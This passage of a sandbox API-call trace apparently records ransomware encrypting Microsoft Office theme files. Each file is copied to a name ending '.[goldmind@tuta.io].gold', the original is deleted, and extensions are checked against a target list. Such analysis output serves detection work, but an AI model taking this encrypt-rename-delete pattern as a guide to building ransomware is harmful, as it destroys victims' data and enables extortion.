dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.416] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=5120) returned 1 [0041.416] CloseHandle (hObject=0x204) returned 1 [0041.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 0x20 [0041.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.417] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.417] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.420] GetLastError () returned 0x0 [0041.420] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1400, lpOverlapped=0x0) returned 1 [0041.422] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1410, lpOverlapped=0x0) returned 1 [0041.423] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.423] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.423] SetEndOfFile (hFile=0x1f4) returned 1 [0041.423] CloseHandle (hObject=0x1f4) returned 1 [0041.423] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.423] SetEndOfFile (hFile=0x204) returned 1 [0041.424] CloseHandle (hObject=0x204) returned 1 [0041.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.424] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif")) returned 1 [0041.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".doc") returned 4 [0041.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.425] lstrlenW (lpString=".docx") returned 5 [0041.425] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.425] lstrlenW (lpString=".pdf") returned 4 [0041.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".xls") returned 4 [0041.425] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".xlsx") returned 5 [0041.425] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.425] lstrlenW (lpString=".ppt") returned 4 [0041.425] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".zip") returned 4 [0041.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".rar") returned 4 [0041.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".bz2") returned 4 [0041.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.425] lstrlenW (lpString=".7z") returned 3 [0041.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".dbf") returned 4 [0041.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".1cd") returned 4 [0041.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".jpg") returned 4 [0041.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".doc") returned 4 [0041.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.425] lstrlenW (lpString=".docx") returned 5 [0041.425] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.425] lstrlenW (lpString=".pdf") returned 4 [0041.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".xls") returned 4 [0041.425] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".xlsx") returned 5 [0041.425] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.425] lstrlenW (lpString=".ppt") returned 4 [0041.425] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.425] lstrlenW (lpString=".zip") returned 4 [0041.425] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".rar") returned 4 [0041.425] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.425] lstrlenW (lpString=".bz2") returned 4 [0041.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.425] lstrlenW (lpString=".7z") returned 3 [0041.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.426] lstrlenW (lpString=".dbf") returned 4 [0041.426] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.426] lstrlenW (lpString=".1cd") returned 4 [0041.426] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0041.426] lstrlenW (lpString=".jpg") returned 4 [0041.426] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.426] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0041.426] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0041.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.428] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=60724) returned 1 [0041.428] CloseHandle (hObject=0x204) returned 1 [0041.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0041.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.428] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.428] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0041.429] GetLastError () returned 0x0 [0041.429] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0xed34, lpOverlapped=0x0) returned 1 [0041.431] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xed40, lpOverlapped=0x0) returned 1 [0041.432] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.432] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.432] SetEndOfFile (hFile=0x1f4) returned 1 [0041.432] CloseHandle (hObject=0x1f4) returned 1 [0041.433] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.433] SetEndOfFile (hFile=0x204) returned 1 [0041.433] CloseHandle (hObject=0x204) returned 1 [0041.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.434] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.434] lstrlenW (lpString=".doc") returned 4 [0041.434] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.434] lstrlenW (lpString=".docx") returned 5 [0041.434] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.434] lstrlenW (lpString=".pdf") returned 4 [0041.434] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.434] lstrlenW (lpString=".xls") returned 4 [0041.434] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.434] lstrlenW (lpString=".xlsx") returned 5 [0041.434] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.434] lstrlenW (lpString=".ppt") returned 4 [0041.434] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.434] lstrlenW (lpString=".zip") returned 4 [0041.434] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.434] lstrlenW (lpString=".rar") returned 4 [0041.434] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.434] lstrlenW (lpString=".bz2") returned 4 [0041.434] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.434] lstrlenW (lpString=".7z") returned 3 [0041.434] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.434] lstrlenW (lpString=".dbf") returned 4 [0041.434] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.434] lstrlenW (lpString=".1cd") returned 4 [0041.434] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.434] lstrlenW (lpString=".jpg") returned 4 [0041.434] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.435] lstrlenW (lpString=".doc") returned 4 [0041.435] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0041.435] lstrlenW (lpString=".docx") returned 5 [0041.435] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0041.435] lstrlenW (lpString=".pdf") returned 4 [0041.435] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0041.435] lstrlenW (lpString=".xls") returned 4 [0041.435] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0041.435] lstrlenW (lpString=".xlsx") returned 5 [0041.435] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0041.435] lstrlenW (lpString=".ppt") returned 4 [0041.435] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.435] lstrlenW (lpString=".zip") returned 4 [0041.435] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0041.435] lstrlenW (lpString=".rar") returned 4 [0041.435] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0041.435] lstrlenW (lpString=".bz2") returned 4 [0041.435] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0041.435] lstrlenW (lpString=".7z") returned 3 [0041.435] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.435] lstrlenW (lpString=".dbf") returned 4 [0041.435] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.435] lstrlenW (lpString=".1cd") returned 4 [0041.435] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0041.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0041.435] lstrlenW (lpString=".jpg") returned 4 [0041.435] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0041.435] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.435] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.435] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2552) returned 1 [0041.435] CloseHandle (hObject=0x204) returned 1 [0041.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0041.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0041.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.436] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.436] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0041.844] GetLastError () returned 0x0 [0041.844] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x9f8, lpOverlapped=0x0) returned 1 [0041.845] WriteFile (in: hFile=0x184, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xa00, lpOverlapped=0x0) returned 1 [0041.846] ReadFile (in: hFile=0x204, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.846] WriteFile (in: hFile=0x184, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0041.846] SetEndOfFile (hFile=0x184) returned 1 [0041.846] CloseHandle (hObject=0x184) returned 1 [0041.846] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.846] SetEndOfFile (hFile=0x204) returned 1 [0041.847] CloseHandle (hObject=0x204) returned 1 [0041.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0041.847] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0041.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.847] lstrlenW (lpString=".doc") returned 4 [0041.847] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString=".docx") returned 5 [0041.848] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.848] lstrlenW (lpString=".pdf") returned 4 [0041.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".xls") returned 4 [0041.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".xlsx") returned 5 [0041.848] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.848] lstrlenW (lpString=".ppt") returned 4 [0041.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".zip") returned 4 [0041.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".rar") returned 4 [0041.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".bz2") returned 4 [0041.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString=".7z") returned 3 [0041.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".dbf") returned 4 [0041.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".1cd") returned 4 [0041.848] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".jpg") returned 4 [0041.848] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".doc") returned 4 [0041.848] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString=".docx") returned 5 [0041.848] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0041.848] lstrlenW (lpString=".pdf") returned 4 [0041.848] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".xls") returned 4 [0041.848] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".xlsx") returned 5 [0041.848] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0041.848] lstrlenW (lpString=".ppt") returned 4 [0041.848] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".zip") returned 4 [0041.848] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".rar") returned 4 [0041.848] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.848] lstrlenW (lpString=".bz2") returned 4 [0041.848] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString=".7z") returned 3 [0041.848] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".dbf") returned 4 [0041.848] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.848] lstrlenW (lpString=".1cd") returned 4 [0041.849] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0041.849] lstrlenW (lpString=".jpg") returned 4 [0041.849] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.849] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0041.849] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0041.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0041.849] 